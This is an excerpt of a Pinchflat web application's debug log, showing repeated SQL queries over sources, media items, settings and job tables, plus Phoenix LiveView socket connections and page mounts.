db=0.0ms idle=521.7ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 21:12:55.153 [debug] QUERY OK source="oban_jobs" db=0.0ms idle=519.2ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [114] 21:12:55.154 [debug] QUERY OK source="settings" db=0.0ms idle=463.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:55.154 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:55.154 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:12:55.154 [debug] QUERY OK source="sources" db=0.0ms idle=1.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:12:55.155 [debug] QUERY OK source="media_items" db=0.1ms idle=1.0ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 21:12:55.155 [debug] QUERY OK source="media_items" db=0.2ms idle=1.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 21:12:55.155 [debug] QUERY OK source="sources" db=0.0ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:12:55.155 [debug] QUERY OK source="media_items" db=0.0ms idle=1.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 21:12:55.156 [debug] QUERY OK source="media_items" db=0.0ms idle=1.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 21:12:55.156 [debug] QUERY OK source="sources" db=0.0ms idle=1.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:12:55.156 [debug] QUERY OK source="media_items" db=0.0ms idle=1.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 21:12:55.156 [debug] QUERY OK source="media_items" db=0.1ms idle=0.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 21:12:55.157 [info] Sent 200 in 4ms 21:12:55.317 [info] CONNECTED TO Phoenix.LiveView.Socket in 78µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "HRBpLS1eHgV0XzksAikuI2lJeA0wfTYaRY3Ol-ML30Sbkagq38LYB9P_", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:12:55.579 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "media_state" => "pending", "source_id" => 1} 21:12:55.580 [debug] QUERY OK source="sources" db=0.4ms idle=423.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:12:55.581 [debug] QUERY OK source="media_items" db=0.6ms idle=424.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 21:12:55.582 [debug] QUERY OK source="media_items" db=1.0ms idle=425.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 21:12:55.582 [debug] Replied in 3ms 21:12:55.586 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "media_state" => "downloaded", "source_id" => 1} 21:12:55.586 [debug] QUERY OK source="sources" db=0.3ms idle=429.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:12:55.587 [debug] QUERY OK source="media_items" db=0.1ms idle=430.4ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 21:12:55.588 [debug] QUERY OK source="media_items" db=0.3ms idle=7.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 21:12:55.588 [debug] Replied in 2ms 21:12:55.591 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE", "media_state" => "other", "source_id" => 1} 21:12:55.591 [debug] QUERY OK source="sources" db=0.2ms idle=10.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:12:55.592 [debug] QUERY OK source="media_items" db=0.4ms idle=9.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 21:12:55.593 [debug] QUERY OK source="media_items" db=0.7ms idle=5.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 21:12:55.593 [debug] Replied in 2ms 21:12:55.594 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "OIZbAsSIGojNiHIRZq4TrDfE"} 21:12:55.594 [debug] Replied in 118µs 21:12:58.651 [info] {"source":"oban","duration":1018,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 21:13:00.585 [info] {"source":"oban","duration":365,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 21:13:05.164 [info] GET / 21:13:05.164 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:13:05.164 [debug] QUERY OK source="settings" db=0.0ms idle=1106.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:13:05.164 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1107.0ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:13:05.164 [debug] QUERY OK source="sources" db=0.0ms idle=454.5ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:13:05.164 [debug] QUERY OK source="media_items" db=0.0ms idle=107.2ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:13:05.164 [debug] QUERY OK source="media_items" db=0.0ms idle=107.2ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:13:05.164 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:13:05.165 [debug] QUERY OK source="settings" db=0.0ms idle=0.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:13:05.165 [debug] QUERY OK source="settings" db=0.0ms idle=0.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:13:05.165 [debug] QUERY OK source="tasks" db=0.1ms idle=0.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:13:05.165 [debug] QUERY OK source="media_items" db=0.0ms idle=0.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at", m0."id" FROM "media_items" AS m0 WHERE (m0."id" IN (?,?)) [21, 22] 21:13:05.166 [debug] QUERY OK source="media_items" db=0.0ms idle=1.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:13:05.166 [debug] QUERY OK source="media_items" db=0.1ms idle=1.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:13:05.166 [debug] QUERY OK source="sources" db=0.0ms idle=1.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:13:05.167 [debug] QUERY OK source="media_items" db=0.0ms idle=1.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:13:05.167 [debug] QUERY OK source="media_items" db=0.2ms idle=1.6ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:13:05.167 [debug] QUERY OK source="sources" db=0.0ms idle=1.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 21:13:05.169 [info] Sent 200 in 4ms 21:13:05.803 [info] CONNECTED TO Phoenix.LiveView.Socket in 51µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "MjsyHSUtLT89bhFECQArXxkAaXx6OhMbeX_KIlnJO-TrLCr3zbYDO_pH", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:13:05.838 [debug] MOUNT Pinchflat.Pages.HistoryTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "WcmVlACurCE6ECYlcb085ecS", "media_state" => "downloaded"} 21:13:05.839 